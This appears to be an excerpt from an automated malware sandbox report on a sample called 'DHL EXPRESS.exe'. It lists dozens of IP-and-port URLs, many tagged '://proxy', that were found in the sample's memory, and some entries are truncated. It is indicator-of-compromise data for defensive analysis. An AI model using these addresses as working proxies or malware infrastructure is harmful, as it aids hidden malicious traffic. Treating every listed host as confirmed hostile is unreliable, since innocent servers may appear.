Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.83.242:3177://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.55.247.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.55.247.41:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.55.247.41:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.67.136.241:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.67.136.241:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.69.118.177:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.69.118.177:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.72.82.47:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.72.82.47:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.8.113.61:50297://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.86.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.86.64.1:3629
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.86.64.1:3629://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.91.76.3
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.91.76.34:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.91.76.34:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.45.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.45.156:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.45.156:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.78.9:26316
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.78.9:26316://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.115.230.243:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.115.230.243:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.115.253
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.115.253.35:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.115.253.35:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.148.69:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.148.69:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.156.219:8000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.156.219:8000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.156.219:8000p
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC454000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.172.154:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.172.154:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.200.87
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.200.87://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.200.87:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.207.96:18877
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.207.96:18877://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.82.105:33225
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.82.105:33225://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.141.249
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.141.249.246:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.141.249.246:8081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.158.166.161:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.158.166.161:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.158.197.147:3629
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.158.197.147:3629://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.207.8.20:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.207.8.20:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.48.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.48.80:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.48.80:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.51.79:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.51.79:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.23.192.249:8901
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.23.192.249:8901://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.236.122.164:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.236.122.164:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.236.246.53:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.236.246.53:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.245.145.234:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.245.145.234:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.251.111.18:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.251.111.18:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.253.201.11:9125
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.253.201.11:9125://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.254.18.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.254.18.11:57335
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.254.18.11:57335://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.163.156:1951
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.163.156:1951://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.49.22.23:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.49.22.23:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.54.21.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.54.21.203:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.54.21.203:8081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.65.171.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.65.171.6:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.65.171.6:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.94.231.93:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.133.33:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.133.33:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.192.17:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.192.17:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.192.27:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.192.27:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.109.193
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.109.193.228:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.109.193.228:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.125.51.54:27234
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.125.51.54:27234://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.8.16:8088
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.8.16:8088://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.93.198:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.93.198:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC38A000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC33E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.94.238:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.94.238:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.48.80.9:8085
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.48.80.9:8085://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.49.160.32:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.60.219.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.60.219.63:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.60.219.63:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.60.240.69:53281
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.60.240.69:53281://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.60.243.37:48699
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.60.243.37:48699://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.133.16.21
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.133.16.21:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.134.236.231:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.134.236.231:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.135.133.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.135.133.116:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.135.133.116:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.135.211.182:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.135.211.182:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.141.177.23
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.141.177.23://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.141.177.23:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.142.81.218
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.142.81.218://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.142.81.218:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.195.164.53:7777
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.195.164.53:7777://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.228.198.164
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.228.198.164://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.228.198.164:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD798000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.104.0.161:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD79C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.104.0.161:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC354000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.131.242.221:48678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.131.242.221:48678://proxyp
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.180.218.250:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.180.218.250:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.183.212.219:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.16.5:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.16.5:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.254
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.254.10:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.254.10:8081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.254.130:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.254.130:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC63E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.250.173.67:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC63E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.250.173.67:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABA3D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABAAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.92.235.190:9990
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABA9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.92.235.190:9990://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.112.164.219:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.112.164.219:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.115.232.158:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.115.232.158:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.120.28.228
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.120.28.228://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.120.28.228:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.129.130.18:8154
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.129.130.18:8154://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.129.183
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.129.183.19:53281
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.129.183.19:53281://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD802000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.174.115.9:1994
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.174.115.9:1994://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.204
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.204.0.36:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.204.0.36:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.204.81.181:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.204.81.181:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.243
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.243.147:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.243.147:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.41.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.41.210:7654
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.41.210:7654://proxy
